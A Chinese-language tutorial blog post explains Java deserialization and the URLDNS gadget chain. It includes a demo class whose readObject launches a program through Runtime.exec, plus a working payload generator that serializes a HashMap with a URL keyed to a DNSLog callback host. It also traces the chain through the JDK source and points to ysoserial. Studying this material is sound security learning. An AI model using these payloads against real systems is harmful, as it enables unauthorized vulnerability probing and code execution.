java反序列化 URLDNS链分析

news2024/11/28 15:46:21

前言

终于可算是来到java反序列化,在菠萝师傅的一番提醒,我认识到自己不能继续在简单的游荡了,要来到难的地方了。

也庆祝自己终于拥有了勇气。

分析

基础

我相对喜欢先代码在讲原理,这里不怎么了解序列化可以去复习一下javase

可以在这里B站复习一下

序列化流(3集)

反射(5集)

大家有没有想过一个问题,关于游戏的存档问题,他是储存在那里的呢,我感觉他可能就是像这样将数据加密一下,放到一个文件里面,然后启动的时候读取这个文件,所以像那些单机游戏破解器,是不是这样的,存储的值。

这里我们下面看一个基本不可能发生的反序列化例子。

//Asuread.java

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Asuread implements Serializable {
    private String name;
    private int age;


    public Asuread() {
    }

    public Asuread(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void readObject(ObjectInputStream os) throws IOException, ClassNotFoundException {
        os.defaultReadObject();
        Runtime.getRuntime().exec("notepad");
    }
}
//Stest.java

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Stest {
    public static void main(String[] args) throws IOException {
        Asuread asu = new Asuread("aa",1);
        Serialize(asu);
    }

    public static void Serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
        out.close();
    }
}
//UStest.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class UStest {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));
        Asuread asu = (Asuread) out.readObject();
        System.out.println(asu);
    }
}

上面我们可以看到在Asuread这个类中我们是重写了一个readObject方法,让他去打开一个记事本。

首先我们知道我们序列化需要使用writeObject,反序列化的时候会使用readObject这个方法,所以如果我们重写readObject方法,不是他就会执行那个方法。

可以看到在我们执行以后他是弹出来一个记事本的。

 

 URLDNS链

java环境:java8

注:经过尝试java17会报错

这个链子是我们入门的链子,为我们接下来的cc打好基础,甚至他本身也就是一个检测是否存在反序列化漏洞的一个存在。

这里先放代码,接收的网站我们可以在DNSLog Platform生成一个或者可以选择burp生成接受,这里为了方便就使用网站了。

//Serial.java
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Serial implements Serializable {

    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        // 创建一个 HashMap 对象,用于存储 URL 对象及其对应的整数值
        HashMap<URL, Integer> hash = new HashMap<>();
        // 创建一个 URL 对象
        URL url = new URL("http://yuyp63.dnslog.cn");

        // 先获取字节码文件, 然后获取 URL 类的 hashCode 字段
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        //临时修改构造方法的访问权限,让我们可以修改值

        hashCode.setAccessible(true);

        // 改变 URL 对象的 hashCode 值为 21,并将其添加到 HashMap 对象中
        hashCode.set(url, 21);
        hash.put(url, 1);

        // 再次改变 URL 对象的 hashCode 值为 -1
        hashCode.set(url, -1);

        // 创建一个 ObjectOutputStream 对象,并指定输出流的目标文件
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./1.bin")));

        // 将 HashMap 对象写入到输出流中
        out.writeObject(hash);
        // 关闭输出流
        out.close();
    }
}
//Unserial.java

import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Unserial {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get("./1.bin")));
        out.readObject();
    }
}

 我们执行一下,这里在网站Refresh Record两下可以看到马上就接受到了

URLDNS分析

终于是来到我喜欢的分析环节了。

说先说明我们为什么要选择HashMap,因为HashMap为了保证键的唯一,所以可以是任何属性的值,给我们操作的空间。

这里推荐一个东西,可以帮助我们快速找到我们要的方法或者值。

 这里我们就可以看到在旁边,可以看到类的方法,帮助我们快速跟进

 

链子分析

这里我们先看HashMap,从HashMap的readObject开始跟进,因为反序列化的时候,肯定会触发他的readObject方法的。

这里我们可以看到他又对键值进行了一次方法,估计是为让键值唯一的方法,这里我们跟进去看看。

        这里我们可以看到他是使用一个三元运算符,只要不是null,就是触发key的hashCode方法,要注意这里我们的键值传进去的是一个URL类的对象

        所以这里相当于在触发URL对象.hashCode()方法,所以这里我们放弃跟进HashCode类,去看看URL类中的hashCode方法

这里我们看到URL类中的hachCode方法

这里我们分析一下如果hashCode等于-1,就会进入handler.hashCode,然后触发DNS请求,如果我们值不等于-1,就是直接返回值。

但是我们发现hachCode的默认值就是-1,还是用private定义的

 

这个跟进这个方法进去看看。

 

继续跟进

 

这里我们看到这里,如果 host 参数是一个主机名,那么 getByName 方法会向 DNS 服务器发起一次 DNS 查询请求

疑惑代码分析

接下来我们结合代码和上面一起分析。

首先是这里,你会发现我们利用反射强制修改了,URL的hachCode的值,在put以后再还原成-1,这是为什么呢。

 这里我们跟进HachMap的put方法,这里看到这里也是进行了一次hash方法,进去看看是不是一样的

好的,一样的,所以我们在正常put的时候就已经触发了一次DNS请求了,这会影响我们的正常判断,但是通过上面,我们知道只要URL的hachCode值不为-1就可以直接返回值,不触发到DNS请求那里。

这里我们可以进行断点调试分析

这里我将断点设置在这里

这里我们可以看到,在执行到下面的字节码文件是,这时候URL的hashCode的值是默认的-1

执行到这里的时候,我们可以看到,他是获得到了URL的hachCode的值

 

这里我们看到在set以后,URL的hachCode的值已经被修改成了21,那么下面HachMap对象进行put的时候,就不会触发DNS请求了

在经历一次set以后,我们可以发现hachCode的值就变回-1了

 

工具推荐

没有之一的工具

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

里面有很多链子给我们利用,但是说工具不是最重要的,关键是要自己理解了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/423211.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

黑盒测试用例设计

目录 前言&#xff1a; 一、黑盒测试 二、实验目的 三、实验内容 四、实验步骤 五、实验过程 题目一 1、等价类划分表 2、设计测试用例 3、缺陷 4、代码实现 5、测试结果 题目二 设计测试用例 题目一示例代码&#xff08;java编写&#xff09; 总结 前言&#x…

苹果pencil和平替笔有哪些区别?性价比平替电容笔排行榜

而对于那些把ipad当做学习工具的学生党而言&#xff0c;电容笔就成了日常的必备品。但因为苹果Pencil的售价太贵了&#xff0c;学生们都买不起。因此&#xff0c;最好的选择还是平替电容笔。作为一个ipad的忠实用户&#xff0c;同时也是一个数码产品的热衷者&#xff0c;这两年…

1797F Li Hua and Path(Min-rt树,Max-rt树)

题目链接 题意 &#xff1a; 给你一个大小为nnn的树&#xff0c;我们想求解一个问题&#xff0c;问题的定义是找有多少条路径满足恰好满足路径的端点是路径的最小值ororor最大值条件之一&#xff0c;【注】不能同时满足路径的两个端点是最小值又是最大值 现在增加mmm个操作&am…

【Unity】基于AVFoundation开发MacOS摄像头(二)

【Unity】基于AVFoundation开发MacOS摄像头&#xff08;一&#xff09;_GrimRaider的博客-CSDN博客实现一个Camera设备驱动&#xff0c;代替unity自带WebCamTexturehttps://blog.csdn.net/GrimRaider/article/details/130127229 目标1&#xff1a;实现bridge&#xff0c;创建一…

【Java数据结构——环形链表】判断链表成环与寻找链表成环的入口节点(经典)

判断链表是否成环https://leetcode.cn/problems/linked-list-cycle/description/ 解题核心思路&#xff1a; 定义快慢指针初始引用指向链表的头节点&#xff0c;快指针每向后走两步&#xff0c;慢指针走一步。如果链表中存在环&#xff0c;则快慢指针一定会在某次移动后相遇。 …

一文看懂“低代码、零代码”是什么?有什么区别?

低代码和零代码近几年热度一直居高不下&#xff0c;乍一看&#xff0c;很容易混淆低代码和零代码开发平台—— 因为它们都是传统开发的替代方案&#xff0c;旨在通过类似于可视化编程的功能加速软件开发过程。 但二者根本不是一回事。从开发人员经验 、目标角色到使用场景&…

C++ 学习4

C设计原则 高内聚低耦合 内聚就是一个模块内各个元素彼此结合的紧密程度&#xff0c;高内聚就是一个模块内各个元素彼此结合的紧密程度高。 所谓高内聚是指一个软件模块是由相关性很强的代码组成&#xff0c;只负责一项任务&#xff0c;也就是常说的单一责任原则。 耦合&am…

计算机网络 - TCP的效率与特性

前言 本篇是介绍部分TCP的特性&#xff0c;了解TCP提高传输速率的机制&#xff1b;如有错误&#xff0c;请在评论区指正&#xff0c;让我们一起交流&#xff0c;共同进步&#xff01; 文章目录前言1. 滑动窗口2. 流量控制3.拥塞控制4.延时应答5. 捎带应答6. 面向字节流7. 异常…

spring bean

图灵课堂学习笔记 1. BeanFactory与ApplicationContext的关系 p56 ApplicationContext在BeanFactory基础上对功能进行了扩展&#xff0c;例如&#xff1a;监听功能、国际化功能等。BeanFactory的API更偏向底层&#xff0c;ApplicationContext的API大多数是对这些底层API的封…

python带你制作可以随机的自答题程序

前言 嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! 目录前言环境使用:模块使用:程序实现思路: <模板> 获取题库一. 获取题库 --> 问题答案二. 进行自动答题操作代码展示题库采集自动答题尾语 &#x1f49d;环境使用: 解释器版本 >>> python 3.8 代码编辑器…

数学基础|线性代数回顾

因为学机器学习的时候发现自己线性代数忘光光了&#xff08;悲&#x1f613;&#xff0c;本篇捞一捞当年学线性代数看哔哩哔哩宋浩老师补充记的潦草笔记。 目录 &#x1f4da;线性代数知识点 &#x1f407;向量 &#x1f955;向量的线性组合 &#x1f955;线性相关无关的性…

JVM 工作原理和即时编译(JIT)

目录 1、什么是虚拟机&#xff1f; 2、JVM 虚拟机简介 3、JVM 的工作原理 4、什么是即时编译&#xff08;JIT&#xff09;&#xff1f; 5、解释型语言和编译型语言的区别 6、为什么说 Java 是一种半编译半解释的语言&#xff1f; 1、什么是虚拟机&#xff1f; 虚拟机是一…

直播美颜技术的演进及其应用:直播美颜SDK详解

直播美颜技术的应用&#xff0c;为直播开辟了新的业态&#xff0c;从最初简单的美颜滤镜&#xff0c;到现在的直播美颜SDK&#xff0c;其技术演进历程也是一步步走来。 一、直播美颜技术的演进 1、简单美颜滤镜 最初的直播美颜技术&#xff0c;就是通过简单的美颜滤镜来实现…

python内存回收gc模块

目录1. python 垃圾回收机制标记-清除的回收机制分代回收2. gc 模块参考资料对已经销毁的对象&#xff0c;Python不会自动释放其占据的内存空间。为了能够充分地利用分配的内存&#xff0c;避免程序跑到一半停止&#xff0c;要时不时地进行内存回收&#xff0c;这时候gc&#x…

超详细——Python中 pip 常用命令

人生苦短&#xff0c;我学Python 相信对于大多数熟悉Python的人来说&#xff0c;一定都听说并且使用过pip这个工具&#xff0c;但是对它的了解可能还不一定是非常的透彻&#xff0c;今天小编就来为大家介绍10个使用pip的小技巧&#xff0c;相信对大家以后管理和使用Python当中…

每天一道大厂SQL题【Day19】华泰证券真题实战(一)

每天一道大厂SQL题【Day19】华泰证券真题实战(一) 大家好&#xff0c;我是Maynor。相信大家和我一样&#xff0c;都有一个大厂梦&#xff0c;作为一名资深大数据选手&#xff0c;深知SQL重要性&#xff0c;接下来我准备用100天时间&#xff0c;基于大数据岗面试中的经典SQL题&…

CSS中相对定位与绝对定位的区别及作用

CSS中相对定位与绝对定位的区别及作用场景复现核心干货相对定位绝对定位子绝父相&#x1f525;&#x1f525;定位总结绝对定位与相对定位的区别场景复现 在学习前端开发的过程中&#xff0c;熟练掌握页面布局和定位是非常重要的&#xff0c;因此近期计划出一个专栏&#xff0c…

【问题、AI解答】mongodb中使用$lookup进行连表查询使用_id作为localField出现查询结果字段为空的情况

描述&#xff1a; db.acticles.aggregate([ {$lookup&#xff1a;{from:"acticlesMaptags",localField:"_id",foreignField:"acticleid",as:"tagid"} } ])acticlesMaptags集合中的acticleid字段存在与acticles集合中的_id相匹配的数据…

1.15 从0开始学习Unity游戏开发--游戏UI

上一章中&#xff0c;我们剩下最后一个任务&#xff0c;需要支持鼠标控制准心来进行设计&#xff0c;那么准心本质上就是一个始终呈现在屏幕上的一个图片&#xff0c;你当然可以用一个3D物体来制作&#xff0c;之前讲解渲染概念的时候也提到过&#xff0c;我们的屏幕就是相机的…

传智健康_day3

本章对检查组管理进行开发 一.新增检查组 1.修改新增弹层可见属性&#xff0c;添加重置表单功能 2.动态刷新检查组包含的检查项信息 <tr v-for"c in tableData"> 使用for循环来遍历查询出tableData中的数据 tableData是一个数组对象&#xff0c;定义在VUE…